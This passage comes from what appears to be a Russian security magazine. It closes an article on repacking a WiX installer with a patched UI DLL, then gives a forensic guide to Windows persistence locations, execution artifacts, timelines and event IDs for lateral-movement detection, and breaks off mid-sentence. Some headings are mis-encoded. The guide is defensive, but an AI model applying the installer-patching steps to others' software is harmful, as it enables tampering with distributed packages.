size — это размер исполняемого модуля, после него по смещению 0xEB600
от начала файла начинается оверлей. Он представляет собой содержимое
каталога UX, то есть ресурсы инсталлятора WiX и Xeam Visual Installer, которые
и содержат пропатченный нами файл Bootstrapper.Ui.dll.
Как я уже упоминал, этот оверлей имеет сигнатуру 4D534346 (MSCF), то
есть упакован в CAB-архив, что и подтверждает строка Container Type=1.
Сразу за UX container по смещению Original signature
offset=0x1F383A8 от начала файла начинается подпись файла. После нее
по смещению 0x1F383A8+0x2D78=0x1F3B120 от начала файла расположен
самый большой attached container, содержащий в себе все файлы инстал-
лируемого пакета. Этот архив тоже имеет сигнатуру MSCF и тип CAB.
Мораль всех этих изысканий такова: если мы хотим, чтобы инсталлятор
корректно работал после перепаковки и замены CAB-контейнера, мы должны
поправить как минимум смещения в заголовке секции .wixburn.
Попробуем проделать эту операцию на практике.
Для начала откроем наш файл в редакторе WinHex и разобьем его на три
части: 0-0xEB600 — исполняемый образ, 0xEB600-0x0x1F383A8 — UX
container и хвост от 0x1F383A8 до конца файла — сигнатура + attached
container.
Теперь нам надо заменить в UX container файл Bootstrapper.Ui.dll
исправленным. Эта операция на самом деле не такая уж и простая. Рас-
паковывать CAB-файлы умеют практически все архиваторы, однако внут-
реннее содержимое у них неструктурированное, файлы обезличены, причем
они часто имеют номерные названия. Вдобавок мало кто из известных архи-
ваторов умеет собирать CAB-архивы. 7-Zip и WinRAR, к примеру, не умеют,
а вот экзотический PowerArchiver умеет, им и воспользуемся.
Выкрутиться с именами файлов тоже довольно просто: поскольку размеры
файлов уникальные, достаточно упорядочить эти самые файлы по величине
и посмотреть, какой файл в архиве соответствует размером нашему
Bootstrapper.Ui.dll. В нашем случае это u5 — переименовываем исправ-
ленный Bootstrapper.Ui.dll в u5, закидываем его вместо прежнего и снова
собираем CAB при помощи PowerArchiver. Размер при перепаковке, естес-
твенно, изменился, поэтому после того, как мы снова склеили три части, поп-
равим заголовок секции .wixburn. Как показывает практика, достаточно
поменять Original signature offset для того, чтобы инсталлятор коррек-
тно отработал.
В заключение хочу выразить надежду, что полученная в этой статье
информация будет использоваться не в деструктивных и криминальных целях,
а исключительно на благо общества, например для локализации и совер-
шенствования пакетов без полного пересоздания дистрибутива. А кому-то,
возможно, это откроет путь для создания инсталлятора собственной прог-
раммы с оригинальным и продвинутым интерфейсом.
ВЗЛОМ

БОЛЬШОЙ ГИД
ПО АРТЕФАКТАМ
WINDOWS

Сегодня мы поговорим об основных арте-


фактах Windows, которые помогают иссле-
дователю обнаружить вектор компромета-
ции, признаки бокового перемещения
по сети и закрепления в системе, а также rayhunt454
grigadan454@gmail.com
разберем тонкости работы с инструмен-
тами для анализа этих артефактов.

Итак, представим, что мы получили от клиента жесткий диск, содержащий


следы хакерской атаки. Известно, что система работала на Windows. Наша
цель — собрать артефакты для дальнейшего анализа.
Я буду использовать следующие средства:
1. R-Studio — утилита для восстановления данных.
2. FTK Imager — инструмент для анализа и получения образов диска.
3. Утилиты NirSoft для Windows.
4. Утилиты Eric Zimmerman для анализа артефактов Windows.

ÏÎËÓ×ÀÅÌ ÏÎÁÈÒÎÂÓÞ ÊÎÏÈÞ ÄÈÑÊÀ

Получить дамп диска просто: загружаемся с Live-образа Kali Linux в режиме


Forensics и используем утилиту dd. Либо можно вытащить диск из системника,
подключить к аппаратному блокиратору и снять образ с помощью инструмен-
тов R-Studio, FTK Imager, Encase или им подобных. Иногда достаточно
на живой системе запустить портабельные утилиты и получить образ диска
либо использовать сборщики Kape или FastIR Collector, которые соберут
артефакты в автоматическом режиме.
В R-Studio получение образа будет выглядеть так. Запускаем утилиту,
выбираем диск и переходим на вкладку «Создать образ».

Создание образа диска

Сжатый образ сканирует только занятые участки памяти и копирует их, а если
выбрать несжатый образ — получится полная копия диска. При восстанов-
лении удаленных файлов лучше использовать несжатый образ.

ÌÎÍÒÈÐÓÅÌ ÎÁÐÀÇ

Первым делом монтируем образ диска. Для этого хороша утилита Mount
Image Pro, либо можешь глянуть FTK Imager.

Монтирование в FTK

Нажимаем на значок Image Mounting, указываем путь к файлу образа, в Mount


Method выбираем монтирование на запись.

Монтирование образа

Далее нажимаем Mount, и диск появится в файловой системе.


Теперь можно исследовать файлы в ручном режиме. Лучше всего вос-
пользоваться утилитой R-Studio, которая позволяет сканировать диск
на предмет удаленных файлов, а также сортировать все файлы по датам соз-
дания либо по расширению.

Содержимое R-Studio

ÑÊÀÍÈÐÓÅÌ ÔÀÉËÎÂÓÞ ÑÈÑÒÅÌÓ

Прежде чем анализировать артефакты, полезно проверить, нет ли в фай-


ловой системе подозрительных файлов. Сканировать можно утилитой Loki
Scanner, которая умеет определять многие индикаторы компрометации. Она
ищет по именам файлов, хеш-суммам, а в случае надобности в ход идут
и правила Yara.
.\loki.exe -p D:\ -l log

Баннер Loki Scanner

Еще можно воспользоваться портабельными антивирусными утилитами. Нап-


ример:
• KVRT — средство Kaspersky для поиска вредоносных файлов;
• CureIt — аналог, созданный в Dr.Web;
• Spyre — сканер индикаторов компрометации по правилам Yara.

Этот этап помогает исследователю обнаружить подозрительные файлы,


от которых можно оттолкнуться при расследовании инцидента и искать пути
проникновения в систему.

ÏÎËÓ×ÀÅÌ ÎÑÍÎÂÍÓÞ ÈÍÔÎÐÌÀÖÈÞ Î ÑÈÑÒÅÌÅ

Перед началом исследования нужно собрать первичную информацию о сис-


теме. Для этого восстановим ветки реестра SOFTWARE и SYSTEM, чтобы
получить из них следующие ключи:
• SYSTEM: ControlSet001\Control\TimeZoneInformation —
информация об установленной временной зоне;
• SYSTEM: ControlSet001\Control\ComputerName\ComputerName —
имена компьютера;
• SYSTEM: ControlSet001\Services\Tcpip\Parameters\
Interfaces — информация об идентификаторах сетевых интерфейсов,
в которых указываются сетевые настройки, а в ключе ControlSet001\
Services\Tcpip\Parameters можно обнаружить имя домена;
• SOFTWARE: Microsoft\Windows NT\CurrentVersion — информация
об операционной системе: версия, сборка и другое;
• SOFTWARE: Microsoft\Windows\CurrentVersion\Uninstall —
список установленных программ;
• SAM: SAM\Domains\Account\Users — информация о локальных поль-
зователях системы.

Чтобы автоматизировать процесс, добрые люди уже написали полезный


скриптик на Python — python-registry. В каталоге samples ты найдешь скрипт
system_info.py, который анализирует перечисленные ключи. Нужно будет
только немного его подредактировать: добавить код, который перед каждым
доступом к ключу будет считывать выгруженные тобой ветки.

ÈÙÅÌ ÇÀÊÐÅÏËÅÍÈÅ Â ÑÈÑÒÅÌÅ

Если при сканировании файловой системы не удалось обнаружить вредонос-


ный файл, то имеет смысл начинать исследование с поиска мест закрепления
вредоноса в системе.
Для этого предназначена утилита Autoruns. Запускай, открывай вкладку
File → Analyze Offline System и выбирай путь к системному диску (который мы
примонтировали раньше). Также нужно задать путь до конкретного поль-
зователя.
Утилита показывает множество основных путей закрепления, но при ана-
лизе примонтированного образа легко пропустить многие моменты. Давай
пройдемся по основным путям закрепления вредоноса в системе и инстру-
ментам, которые помогут собрать дополнительные сведения.
Системные кусты реестра хранятся в каталоге C:\Windows\System32\
config, пользовательские NTUSER.DAT — в каталоге C:\Users\<User>\
AppData.

WMI Persistence (Ò1546.003)


WMI (Windows Management Instrumentation) — набор инструментов, пред-
назначенных для управления системами Windows. WMI популярен среди зло-
умышленников, поскольку позволяет выполнять разведку в сети, обнаружи-
вать антивирусы и виртуальные машины, выполнять произвольный код, сох-
ранять свое присутствие в системе, а также перемещаться по корпоративной
сети.
В определениях WMI действия называются потребителями (Consumers),
а события — фильтрами (Filters). Существует также третий компонент,
который связывает их вместе, — привязка (Binding). Злоумышленник создает
три класса:
• __EventFilter — некий фильтр действий в системе, к примеру вход
пользователя или создание процесса;
• __EventConsumer — действие, которое выполняет злоумышленник,
к примеру запуск полезной нагрузки;
• __FilterToConsumerBinding — объект, который связывает эти два
класса.

Чтобы закрепиться этим методом, злоумышленники используют утилиту,


которая умеет взаимодействовать с WMI (wmic.exe). Чтобы понять, происхо-
дило ли что-то такое, нам нужно проанализировать следующий файл:

C:\Windows\System32\wbem\Repository\OBJECTS.DATA

Наша цель — найти классы __FilterToConsumerBinding, а затем по имени


__EventConsumer найти все действия. Сделать это можно в любом двоичном
редакторе. Вбивай в поиске класс связывания фильтра и действия —
__FilterToConsumerBinding. Есть и готовый инструмент, который сделает
всю работу за тебя, он называется PyWMIPersistenceFinder.py. Я уже показы-
вал, как с его помощью обнаруживать закрепление, когда разбирал лабора-
торию CyberCorpCase 1.

Êëþ÷è çàïóñêà â ðååñòðå è ïàïêà àâòîçàãðóçêè (T1547.001)


Чтобы задетектить эту технику закрепления, нам с тобой нужно проанализи-
ровать кусты реестра SOFTWARE и NTUSER.DAT.
В кусте SOFTWARE смотрим следующие ключи, отвечающие за присутствие
в ОС от имени системы или админа:
• Microsoft\Windows\CurrentVersion\Run;
• Microsoft\Windows\CurrentVersion\RunOnce;
• Microsoft\Windows\CurrentVersion\RunServices;
• Microsoft\Windows\CurrentVersion\RunServicesOnce;
• Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit;
• Microsoft\Windows NT\CurrentVersion\Winlogon\Shell;
• Microsoft\Windows\CurrentVersion\Explorer\Shell Folders.

Не забываем глянуть те же ключи в кусте реестра NTUSER.DAT:\SOFTWARE —


чтобы понять, не было ли закрепления с правами пользователя.
Копаться в реестре я рекомендую с помощью RegistryExplorer. Обрати
внимание на путь к исполняемому файлу и на временные метки ключа реес-
тра.
А вот сюда стоит заглянуть в поисках вредоносных исполняемых файлов:

C:\Users\<User>\AppData\Roaming\Microsoft\Windows\Start Menu\
Programs\Startup

Вредоносы, лежащие в такой папке, будут стартовать автоматически и при-


ниматься пакостить сразу после загрузки. Также обращай внимание на фай-
лы .lnk, в них иногда прячутся команды PowerShell или CMD.

Ñöåíàðèé âõîäà â ñèñòåìó Windows (T1037.001)


За автоматическое выполнение скриптов при входе в систему отвечает куст
реестра NTUSER.DAT, точнее, ключ Environment\UserInitMprLogonScript,
где перечисляются исполняемые файлы. К примеру, APT-группа XDSpy
записывала сюда адрес вредоносного файла, сохраненного в AppData\
Local\Temp.

Закрепление вредоносного исполняемого файла

Ñëóæáû Windows (T1574.011)


Злоумышленники могут использовать неправильные разрешения на ключи
реестра той или иной службы, чтобы выполнять полезные нагрузки.
Чтобы закрепиться этим методом, используется системная утилита sc.
exe. Для поиска закрепившихся вредоносов смотрим куст SYSTEM, ключ
ControlSet001\Services и обращаем внимание на ImagePath. Также
не забываем про закрепления Service DLL, когда сервисная динамическая
библиотека запускается в контексте процесса svchost.exe. Для парсинга
ключа Services можно воспользоваться библиотекой python-registry либо
тем же RegistryExplorer.
Вот как это реализовать на Python:

from typing import List


from Registry import Registry
import argparse
from datetime import datetime
import csv

def ReadRegistryFile(reg):
f = open(reg,'rb')
registry = Registry.Registry(f)
f.close()
return registry

class Service:
Name: str = ''
ImagePath: str = ''
Description: str = ''
DisplayName: str = ''
ServiceDll: str = ''
Timestamp: datetime = datetime.now()
Type: int = 0

def control_set_check(sys_reg):
registry = ReadRegistryFile(sys_reg)
key = registry.open("Select")
for v in key.values():
if v.name() == "Current":
return v.value()

def GetServices(sys_reg: str) -> List[Service]:


registry = ReadRegistryFile(sys_reg)
key = registry.open("ControlSet00%s\\Services" %
control_set_check(sys_reg))
result: List[Service] = []
for s in key.subkeys():
service = Service()
service.Name = s.name()
for v in s.values():
service.Timestamp = s.timestamp()
if v.name() == "ImagePath":
service.ImagePath = v.value()
if v.name() == "Description":
service.Description = v.value()
if v.name() == "DisplayName":
service.DisplayName = v.value()
fk = s.subkeys()
for i in fk:
if i.name() == "Parameters":
for j in i.values():
if j.name() == "ServiceDll":

service.ServiceDll = j.value()

result.append(service)
return result

if __name__=="__main__":
parser = argparse.ArgumentParser(
prog='ProgramName',
description='What the program does',
epilog='Text at the bottom of help')
parser.add_argument('--system',help="Path for SYSTEM registry
hive")
args = parser.parse_args()
with open('sw_data_new.csv', 'w+') as f:
writer = csv.writer(f)
writer.writerow(['Имя', 'Описание','Имя на дисплее',
'Путь к файлу','Сервисная DLL', 'Дата создания'])
for i in GetServices(args.system):
writer.writerow([i.Name,i.Description,i.DisplayName,i
.ImagePath, i.ServiceDll,i.Timestamp])

Ïëàíèðîâùèê çàäà÷ (T1053.005)


Чтобы найти тайно напланированные злодеями задачи, достаточно заглянуть
в C:\Windows\System32\Tasks и посмотреть сохраненные там XML-файлы.
При анализе обращай внимание на автора задачи в поле Principal → UserId
и на команды в полях Exec → Command и Exec → Arguments, а также на триг-
гер запуска вредоноса в поле Settings.

Çàäàíèÿ BITS (T1197)


Злоумышленники используют BITS для загрузки вредоносных файлов, так
как эти файлы стартуют в контексте легитимной службы. Чтобы создать
задание BITS, можно использовать функции API или системную утилиту
bitsadmin.
Здесь хранится база заданий BITS:

C:\ProgramData\Microsoft\Network\Downloader

Формат базы данных — QMGR. Начиная с Windows 10, она использует фор-
мат Extensible Storage Engine (ESE) и хранится в файле qmgr.db. В более ран-
них версиях Windows ищи файлы qmgr0.dat и qmgr1.dat (информация в них
по большей части дублируется).
Чтобы прочитать эти файлы, тебе понадобится утилита BitsParser. Самое
важное для нас — кто создал задачу и какая команда выполнялась.

python3 BitsParser.py -i qmgr0.db

ÑÎÁÈÐÀÅÌ ÈÍÔÎÐÌÀÖÈÞ ÎÁ ÈÑÏÎËÍßÅÌÛÕ ÏÐÎÃÐÀÌÌÀÕ

Для анализа запущенных приложений в Windows существует множество инс-


трументов.

Prefetch
Файлы трассировки лежат в C:\Windows\Prefetch. Из них можно почерпнуть
имя выполняемого файла, количество запусков, списки файлов, с которыми
взаимодействовал исполняемый файл, а также временные метки: время
и дату первого запуска, время изменения и время последних семи запусков.
Утилиты для анализа:
• WinPrefetchView;
• PECmd.

В серверных версиях Windows запись данных по умолчанию отключена.


Запускай WinPrefetchView, переходи на вкладку Options → Advanced
Options и указывай путь к файлам Prefetch.

Артефакт запуска вредоноса DeedRAT

На иллюстрации мы видим, что запускалась еще и динамическая библиотека


AFXML.DLL. Всегда обращай внимание на используемые файлы. Подробнос-
ти можно узнать в интересной статье о поиске тактик и техник в файлах
Prefetch.

Amcache
Amcache — куст реестра Windows, который хранит информацию о запущен-
ных приложениях, путь, временную метку первого запуска и SHA-1-хеш фай-
ла. Этот файл ты найдешь здесь:

C:\Windows\appcompat\Programs\Amcache.hve

В Windows 8 эти артефакты хранятся в файле RecentFileCache.bcf. Струк-


тура этого куста реестра описана в статье Leveraging the Windows
Amcache.hve File in Forensic Investigations.
Также в каталоге C:\Windows\appcompat\Programs\Install хранится
информация о каждой установленной программе.
Утилиты для анализа:
• AmcacheParser извлекает данные, содержащиеся в Amcache.hve;
• RecentFileCacheParser.exe извлекает данные из файла
RecentFileCache.bcf;
• python-registry-amcache.

При запуске AmcacheParser.exe используй следующую команду:

.\AmcacheParser.exe -f "Amcache.hve" --csv "путь выгрузки"

Результат смотрим в файле Amcache_UnassociatedFileEntries.csv.


Хеш-сумму SHA-1 можешь сразу пробить на VirusTotal.

Shimcache
Shimcache — это механизм, который обеспечивает обратную совместимость
старых приложений с более новыми версиями Windows. Его параметры хра-
нятся в кусте реестра SYSTEM:

C:\Windows\System32\config

Ключи:
• CurrentControlSet\Control\Session;
• Manager\AppCompatCache\AppCompatCache.

В кеше можно найти путь к файлу, размер файла, время последнего изме-
нения, время последнего обновления Shimcache, флаг выполнения процес-
са. В зависимости от версии Windows этот список может слегка различаться.
Анализировать кеш удобно утилитой AppCompatCacheParser.exe:

.\AppCompatCacheParser.exe -f "SYSTEM" --csv ".\report"

UserAssist
В файле куста реестра пользователя NTUSER.DAT есть ключ UserAssist,
помогающий отслеживать выполняемые программы. Здесь можно найти дан-
ные о приложениях, запущенных определенным пользователем через про-
водник Windows. Исполняемые файлы, запущенные из командной строки,
не отображаются. Информация записана в двоичном виде.
Ключи реестра UserAssist хранятся вот в этой ветке:

Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\
Count\

GUID для Windows 7 и выше:


• {CEBFF5CD-ACE2-4F4F-9178-9926F41749EA} — запуск исполняемого
файла;
• {F4E57C4B-2036-45F0-A9AB-443BCFE33D9F} — запуск исполняемого
файла с помощью символической ссылки.

Каждое значение UserAssist закодировано в формате ROT13. Среди данных


есть информация о числе запусков исполняемого файла или ссылки, а также
метка времени последнего выполнения.
Для парсинга этого ключа реестра можно воспользоваться утилитой
4Discovery.

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

БОЛЬШОЙ ГИД
ПО АРТЕФАКТАМ WINDOWS

ÈÇÂËÅÊÀÅÌ ÂÐÅÌÅÍÍÛÅ ÌÅÒÊÈ È ÄÅËÀÅÌ ÒÀÉÌËÀÉÍ


ÑÎÁÛÒÈÉ

Таблица MFT файловой системы насчитывает более восьми временных


меток. Они хранятся в атрибутах STANDART_INFO и FILE_INFO. Но помни, что
злоумышленники могут изменять метку STANDART_INFO у вредоносных фай-
лов. Сама таблица MFT хранится в корне системного диска и называется
$MFT. Чтобы выгрузить таблицу из образа, можешь использовать R-Studio
или FTK Imager.
Для анализа образа пригодятся утилиты MFTECmd или MFTExplorer.

.\MFTECmd.exe -f "MFT" --csv ".\report"

Полученный файл .csv можно просмотреть в Excel, отфильтровав данные


по дате создания, либо можешь изучать их с помощью утилиты
TimeLineExplorer.
Для построения временной шкалы событий существует утилита Plaso.
Исходные данные для нее лучше всего готовить с использованием скрипта
psteal.py, которому можно скормить побитовый образ, либо указать путь
к смонтированному диску. Psteal сохраняет данные в файл .csv, для его ана-
лиза можно воспользоваться шаблоном TIMELINE_COLOR_TEMPLATES.csv.

Подробнее о Plaso и построении таймлайнов


читай в статьях «Таймлайн всего. Используем
Plaso для сбора системных событий», «Цифровой
детектив. Используем Timesketch для работы
с таймлайнами Plaso» и «Прыжок в Sigma-ляр-
ность. Используем правила Sigma в Timesketch».

Еще можешь посмотреть утилиты Autopsy и AXIOM, которые тоже отлично


справляются с выстраиванием таймлайна.
В Windows 10 с версии 1803 появился полезный файл под названием
ActivityCache.db. Это база данных в формате SQLite, где содержится
готовая временная шкала активности устройства. Здесь есть отметки
обо всех открывавшихся файлах, использованных приложениях и службах.
Нужный файл ты найдешь вот в этом каталоге:

C:\Users\<User>\AppData\Local\ConnectedDevicePlatform\L.<username>

Если ты авторизовался от имени учетной записи Microsoft, то название пос-


ледней папки будет сформировано из 16 буквенно-цифровых символов
(Microsoft ID), а при авторизации пользователя с помощью Microsoft Azure
файл располагается в каталоге AAD.<ID>.
Эта шкала предназначена для синхронизации между разными устройства-
ми. В дополнение к самой базе ты найдешь файл с расширениями db-shm,
включающий данные о времени, и db-wal — журнал предварительной
записи, который хранит информацию перед передачей ее в ActivityCache.
db. Подробное описание структуры временной шкалы и процесса записи
событий можно найти в статье Windows Timeline (PDF).
В ActivityCache.db целых семь таблиц, но нужная нам инфа
об активности пользователя лежит в двух таблицах: Activity_PackageId
и Activity.
В таблице Activity есть следующие поля:
• AppId — объект JSON, содержащий информацию об исполняемом фай-
ле;
• StartTime и EndTime — время начала и окончания работы исполняемо-
го файла в UTC, формат времени — Epoch Time;
• PlatformDeviceID — идентификатор устройства; это поле будет другим
в случае синхронизации с облаком Microsoft;
• ActivityTypes — определяет тип активности и может иметь следующие
значения: 2 (уведомление), 3 (резервное копирование / аутентификация
в Azure), 5 (открытие приложения, файла или веб-страницы), 6 (приложе-
ние используется), 10 (текст скопирован в буфер обмена), 11, 12, 15 (сис-
темные операции Windows), 16 (операции копирования или вставки);
• Payload — поле представлено в формате JSON и содержит информацию
об открытом файле: имя, путь и описание.

В таблице Activity_PackageId хранится информация о приложении: рас-


положение исполняемого файла, его имя, а также время истечения срока
действия записи (поле Expiration Time). Записи в этой таблице хранят-
ся 30 дней.
Утилиты для анализа ActivityCache.db:
• WxTCmd.exe;
• DB Browser for SQLite;
• AXIOM.

Давай попробуем открыть этот файл в DB Browser for SQLite.

Просмотр таблицы Activity

Переходим на вкладку SQL и вставляем следующий запрос SQLite. В окне


вывода запроса видим вот такие поля.

Сортируя вывод по полю StartTime, удобно отслеживать хронологию дей-


ствий злоумышленников.

ÀÍÀËÈÇÈÐÓÅÌ ÑÎÁÛÒÈß WINDOWS

В этом разделе разберем основные события Windows, анализ которых


поможет исследователю восстановить картину компрометации хоста
и понять, как злоумышленники перемещались по сети. В Windows есть
базовые и расширенные политики аудита. Процесс настройки расширенной
политики аудита описан в статье на Anti-Malware.
Рассмотрим события входа в Windows. Все перечисленные идентифика-
торы событий включены в политику аудита по умолчанию.
• 4624 — вход в систему. Изучая это событие, всегда обращай внимание
на тип входа (список представлен в документации Microsoft), имя учетной
записи, код входа, домен, а также на поле сведения о сети, в котором
может быть указан сетевой адрес источника входа.
• 4634 — выход из системы. При анализе этого события сопоставляй код
входа с событием 4624, чтобы получить продолжительность сеанса.
• 4625 — ошибка входа в систему. Тут важен тип входа, код входа, имя учет-
ной записи, сведения о сети, а также код ошибки. Например, ошибка
0xC000006A говорит о неправильном вводе логина и пароля. Если таких
событий много, значит, кто-то подбирал пароль.
• 4648 — вход в систему с явным указанием аутентификационных данных.
Событие регистрируется на хосте источника авторизации. При поиске
бокового перемещения по сети анализ этого события укажет на хост, учет-
ные данные, а также процесс, инициирующий авторизацию (wmic.exe,
sc.exe или какой-то другой).
• 4672 — сеансу входа назначены специальные привилегии. Для отсле-
живания пользователя с назначенными привилегиями нужно сопоставить
поле «код входа» с событием 4624. Список возможных привилегий:
• SeTcbPrivilege — действие в качестве части операционной сис-
темы;
• SeBackupPrivilege — резервное копирование файлов и каталогов;
• SeCreateTokenPrivilege — создание объекта маркера;
• SeDebugPrivilege — отладка программ;
• SeEnableDelegationPrivilege — доверять учетным записям
компьютеров и пользователей для делегирования;
• SeAuditPrivilege — создание аудита безопасности;
• SeImpersonatePrivilege — олицетворение клиента после аутен-
тификации;
• SeSecurityPrivilege — управление журналами аудита и безопас-
ности;
• SeSystemEnvironmentPrivilege — изменение значений среды
встроенного ПО;
• SeAssignPrimaryTokenPrivilege — замена токена уровня процес-
са;
• SeRestorePrivilege — восстановление файлов и каталогов;
• SeTakeOwnershipPrivilege — позволяет стать владельцем файлов
или других объектов.
• 21 (RDP) — вход в сеанс выполнен успешно. Это событие расположено
в канале Microsoft/Windows-TerminalServices-LocalSessionManager.
При анализе обращай внимание на имя вошедшего в систему пользовате-
ля и IP-адрес источника. Это событие сопровождается событием 4624,
тип входа 10.

А вот эти события могут означать, что в системе закрепился злоумышленник:


• 7045, 4697 (по умолчанию не установлены) — в системе установлена
служба. При анализе этих событий обращай внимание на имя создава-
емой службы, имя исполняемого файла и учетные данные пользователя.
Учти, что в событии 7045 не указывается имя пользователя, который соз-
дает службу. К примеру, при выполнении PsExec по умолчанию будет соз-
дана служба с именем PSEXESVC.
• 4699 — удаление службы.
• 106 (ðåãèñòðàöèÿ çàäà÷è), 140 (îáíîâëåíèå çàäà÷è), 119
(çàïóñê ýêçåìïëÿðà çàäà÷è â ñâÿçè ñ âõîäîì ïîëüçîâàòåëÿ) —
эти события регистрируются в журнале Microsoft-Windows-Task-
Scheduler/Operational. Также при настройке расширенной политики
аудита аналогичные задания создаются в журнале Security с идентифика-
торами 4698 (çàïëàíèðîâàííîå çàäàíèå ñîçäàíî), 4700 (çàï-
ëàíèðîâàííàÿ çàäà÷à âêëþ÷åíà), 4702 (çàïëàíèðîâàííîå
çàäàíèå îáíîâëåíî).
• 5861 — событие, которое возникает при регистрации привязки
FilterToConsumerBinding WMI. Это событие регистрируется в жур-
нале Microsoft-Windows-WMI-Activity/Operational.

Доступ к общим сетевым ресурсам:


• 5140 (ïîëó÷åí äîñòóï ê îáùåìó ñåòåâîìó ðåñóðñó), 5145
(ïîëó÷åí äîñòóï ê îáùåìó ñåòåâîìó îáúåêòó, êàòàëîãó
èëè ôàéëó) — при боковом перемещении эти события будут содержать
сетевые адреса, а также каталоги C$, ADMIN$ и IPC$, к которым пытаются
получить доступ злоумышленники.

Большое количество артефактов выполнения приложений в системе предос-


тавляют события PowerShell:
• 400 (по умолчанию установлено) — начало выполнения команды
или сеанса, в поле «командная строка» указаны параметры запуска
PowerShell.
• 800 — выполнение конвейера.
• 4103 — журналирование модулей.
• 4104 — протоколирование блока сценариев. В этом событии записы-
ваются все блоки, которые выполняются последовательно при выпол-
нении скриптов PowerShell.

Анализ события создания процесса 4688 позволяет отслеживать запус-


каемые в системе исполняемые файлы. Обращай внимание на имя учетной
записи и информацию о процессе. В поле Process Command Line указано имя
запускаемого файла и его аргументы. Событие 4689 свидетельствует
о завершении процесса.
При входе в учетную запись с использованием Kerberos или NTLM события
регистрируются на контроллере домена. Вот какие бывают события входа
в учетную запись и доступа к объектам AD:
• 4662 — операция над объектом домена Active Directory. Анализ этого
события позволяет выявить атаку DCSync. Тут важно поле Account Name,
которое должно содержать имя учетной записи контроллера домена (к
примеру, DC$) или NT AUTHORITY/SYSTEM. Поле Access Mask должно
иметь значение 0x100. Также исследуй поле Properties, которое
содержит маску доступа Control Access, и GUID типа доступа, связанный
с репликацией.
• 4768 — запрос Kerberos TGT, обращаем внимание на ошибки.
• 4769 — запрос Kerberos TGS. При анализе события обращай внимание
на имя службы (в имени должен присутствовать знак $), код ошибки и тип
шифрования билета. Анализ этого события позволит выявить атаку
Kerberoasting.
• 4771 — сбой предварительной аутентификации Windows. Событие воз-
никает только на контроллере домена и генерируется для пользователей
с флагом предварительной аутентификации. При анализе этого события
необходимо обращать внимание на имя пользователя, при аутентифика-
ции которого произошел сбой.
• 4776 — аутентификация с использованием NTLM.
• 4720 — создание учетной записи. Это событие регистрируется на кон-
троллере домена, серверах и рабочих станциях.
• 4728 — объект домена добавлен в глобальную группу пользователей.
• 4732 — объект добавлен в локальную группу пользователей.
• 4756 — объект добавлен в универсальную группу.
• 4798 — перечисление членства пользователя в локальной группе.

Еще стоит упомянуть логи утилиты Sysmon, которые мы не будем разбирать.


Однако они могут рассказать подробности о действиях злоумышленников,
показать события расширенной политики аудита по доступу к файлам и вет-
кам реестра, а также сетевой активности.
Инструменты для анализа:
• Hayabusa — инструмент для быстрого анализа логов, основанный на пра-
вилах Sigma;
• FullEventLogView — утилита NirSoft для анализа событий. Она позволяет
фильтровать логи по датам, идентификаторам событий, а также по клю-
чевым словам. Для использования достаточно указать каталог с файлами
evtx. В расширенных настройках указываем через разделитель иден-
тификаторы событий и промежуток времени;
• EventLogExplorer — решение для просмотра, анализа и мониторинга
событий Windows;
• LogonTracer — инструмент анализа логов входа, отображающий информа-
цию в виде графов. LogonTracer связывает имя хоста или IP-адрес и имя
учетной записи, найденное в событиях. При анализе логов контроллера
домена обязательно воспользуйся этим инструментом. Он отлично эко-
номит время анализа.

Фильтрация логов по событиям и времени

Äåéñòâèÿ ïîëüçîâàòåëåé
Часто инциденты происходят по вине пользователя, к примеру когда он заг-
ружает программы из непроверенных источников или запускает вредоносные
вложения из почты. Давай рассмотрим артефакты, которые позволяют
понять, что конкретно он делал.

Most Recently Used


MRU (Most Recently Used) — артефакт Windows, в котором хранится
информация о взаимодействии пользователя с файлами и каталогами через
проводник. В кусте NTUSER.DAT каждого пользователя есть ключи, относящи-
еся к MRU.
Например, вот в этом ключе реестра хранится список файлов, сгруп-
пированных по расширению, и список каталогов, с которыми взаимодейство-
вал пользователь:

NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\
RecentDocs

При анализе записи обращай внимание на дату открытия и имя файла.


А вот этот ключик хранит информацию о запускаемых командах
при помощи утилиты Windows Run (горячая клавиша Windows-R):

NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

И наконец, ключ, содержащий информацию о файлах, к которым обращался


пользователь с помощью диалогового окна открытия или сохранения файла:

NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\
ComDlg32

Содержимое ключа RecentDocs

Список файлов и каталогов, с которыми взаимодействовал пользователь, ты


найдешь по такому пути:

C:\Users\<User>\AppData\Roaming\Microsoft\Windows\Recent

Отсортировав файлы по временной метке, можно восстановить последова-


тельность запуска приложений и открытия файлов. При анализе этого арте-
факта обращай внимание на файлы с расширениями .lnk, которые могут
содержать команды запуска сценариев PowerShell или CMD. Для анализа
файлов c расширением .lnk можно воспользоваться инструментом LECmd.

Shellbags
Shellbags — это набор ключей реестра, которые содержат сведения о прос-
матриваемых пользователем каталогах. Начиная с Windows 7, этот артефакт
хранится в кусте реестра

C:\Users\<user>\AppData\Local\Micrososft\Windows\UsrClass.dat

Для Windows XP упомянутый набор артефактов хранится в кусте реестра


NTUSER.DAT. Shellbags хранит временные метки доступа к каталогам, в том
числе к общим сетевым ресурсам.
Для удобства анализа можно воспользоваться утилитой ShellBagsExplorer,
в которую необходимо загрузить куст реестра UsrClass.dat.

Список каталогов, хранимый в Shellbags

SRUM
Эта легкая для запоминания аббревиатура означает System Resource
Utilization Monitor. С восьмой версии в Windows появилась возможность
отслеживать используемые приложениями ресурсы. Этот артефакт рас-
положен в файле C:\Windows\System32\sru\SRUDB.dat. Информация
записывается в базу каждый час и при выключении компьютера.
В базе хранятся следующие артефакты: сетевые подключения, исполь-
зование сети, энергопотребление, данные push-уведомлений, а также
использование ресурсов приложениями. Анализ активности сети и сетевых
подключений помогает определить, когда компьютер был подключен
к интернету и каким способом, а также количество полученных и отправ-
ленных приложением данных в байтах. Мы анализировали этот артефакт
при решении кейса Pwned-DC.
Инструменты для анализа:
• SRUM-DUMP — этот инструмент использует шаблон Excel для вывода соб-
ранных данных в таблицу;
• SrumECmd.

Äàííûå áðàóçåðîâ
Браузер нынче самая главная программа на компьютере, и многие действия
пользователь совершает именно в ней. Здесь же найдутся и важные для рас-
следования артефакты. Например, в ходе фишинговых атак злоумышленники
рассылают сообщения, содержащие либо ссылку на вредоносный файл, либо
